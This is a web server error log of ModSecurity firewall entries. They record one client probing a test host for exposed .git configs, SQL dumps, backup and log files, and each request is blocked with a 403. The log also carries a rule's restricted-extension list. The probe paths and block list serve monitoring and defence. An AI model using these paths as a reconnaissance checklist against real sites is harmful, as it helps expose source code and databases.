[Mon Jul 28 20:46:27.384466 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/drupal/coder/.git/objects/info&quot;] [unique_id &quot;aIfFgxd6_yVRS98tgw1cNQAAAAM&quot;]
[Mon Jul 28 20:46:27.384679 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/drupal/coder/.git/objects/info&quot;] [unique_id &quot;aIfFgxd6_yVRS98tgw1cNQAAAAM&quot;]
[Mon Jul 28 20:46:27.404930 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /vendor/drupal/coder/.git/objects/info/packs&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/drupal/coder/.git/objects/info/packs&quot;] [unique_id &quot;aIfFgxd6_yVRS98tgw1cNgAAAAM&quot;]
[Mon Jul 28 20:46:27.405164 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/drupal/coder/.git/objects/info/packs&quot;] [unique_id &quot;aIfFgxd6_yVRS98tgw1cNgAAAAM&quot;]
[Mon Jul 28 20:46:27.405332 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/vendor/drupal/coder/.git/objects/info/packs&quot;] [unique_id &quot;aIfFgxd6_yVRS98tgw1cNgAAAAM&quot;]
[Mon Jul 28 20:46:27.425613 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.log&quot;] [unique_id &quot;aIfFgxd6_yVRS98tgw1cNwAAAAM&quot;]
[Mon Jul 28 20:46:27.425929 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.log&quot;] [unique_id &quot;aIfFgxd6_yVRS98tgw1cNwAAAAM&quot;]
[Mon Jul 28 20:46:27.426096 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/info.log&quot;] [unique_id &quot;aIfFgxd6_yVRS98tgw1cNwAAAAM&quot;]
[Mon Jul 28 20:46:27.510417 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.cs&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cmsmessages/information.aspx.cs&quot;] [unique_id &quot;aIfFgxd6_yVRS98tgw1cOwAAAAM&quot;]
[Mon Jul 28 20:46:27.510763 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cmsmessages/information.aspx.cs&quot;] [unique_id &quot;aIfFgxd6_yVRS98tgw1cOwAAAAM&quot;]
[Mon Jul 28 20:46:27.510958 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cmsmessages/information.aspx.cs&quot;] [unique_id &quot;aIfFgxd6_yVRS98tgw1cOwAAAAM&quot;]
[Mon Jul 28 20:46:27.531135 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/module/info/include/mysql/phpcms_info.sql&quot;] [unique_id &quot;aIfFgxd6_yVRS98tgw1cPAAAAAM&quot;]
[Mon Jul 28 20:46:27.531464 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/module/info/include/mysql/phpcms_info.sql&quot;] [unique_id &quot;aIfFgxd6_yVRS98tgw1cPAAAAAM&quot;]
[Mon Jul 28 20:46:27.531673 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/module/info/include/mysql/phpcms_info.sql&quot;] [unique_id &quot;aIfFgxd6_yVRS98tgw1cPAAAAAM&quot;]
[Mon Jul 28 20:46:27.551964 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.bak&quot;] [unique_id &quot;aIfFgxd6_yVRS98tgw1cPQAAAAM&quot;]
[Mon Jul 28 20:46:27.552303 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.bak&quot;] [unique_id &quot;aIfFgxd6_yVRS98tgw1cPQAAAAM&quot;]
[Mon Jul 28 20:46:27.552486 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/phpinfo.bak&quot;] [unique_id &quot;aIfFgxd6_yVRS98tgw1cPQAAAAM&quot;]
[Mon Jul 28 20:46:28.021170 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.git/config&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cUgAAAAM&quot;]
[Mon Jul 28 20:46:28.021455 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.git/config&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cUgAAAAM&quot;]
[Mon Jul 28 20:46:28.021687 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/.git/config&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cUgAAAAM&quot;]
[Mon Jul 28 20:46:28.042020 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /blog/wp-content/themes/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/wp-content/themes/.git/config&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cUwAAAAM&quot;]
[Mon Jul 28 20:46:28.042250 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/wp-content/themes/.git/config&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cUwAAAAM&quot;]
[Mon Jul 28 20:46:28.042449 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/blog/wp-content/themes/.git/config&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cUwAAAAM&quot;]
[Mon Jul 28 20:46:28.062593 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/themes/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/themes/.git/config&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cVAAAAAM&quot;]
[Mon Jul 28 20:46:28.062826 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/themes/.git/config&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cVAAAAAM&quot;]
[Mon Jul 28 20:46:28.063019 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/themes/.git/config&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cVAAAAAM&quot;]
[Mon Jul 28 20:46:28.083448 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /wp-content/plugins/.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/plugins/.git/config&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cVQAAAAM&quot;]
[Mon Jul 28 20:46:28.083745 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/plugins/.git/config&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cVQAAAAM&quot;]
[Mon Jul 28 20:46:28.083944 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/plugins/.git/config&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cVQAAAAM&quot;]
[Mon Jul 28 20:46:28.104005 2025] [:error] [pid 1522294] [client 185.177.72.201:44412] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/wp-content/db.sql&quot;] [unique_id &quot;aIfFhBd6_yVRS98tgw1cVgAAAAM&quot;]
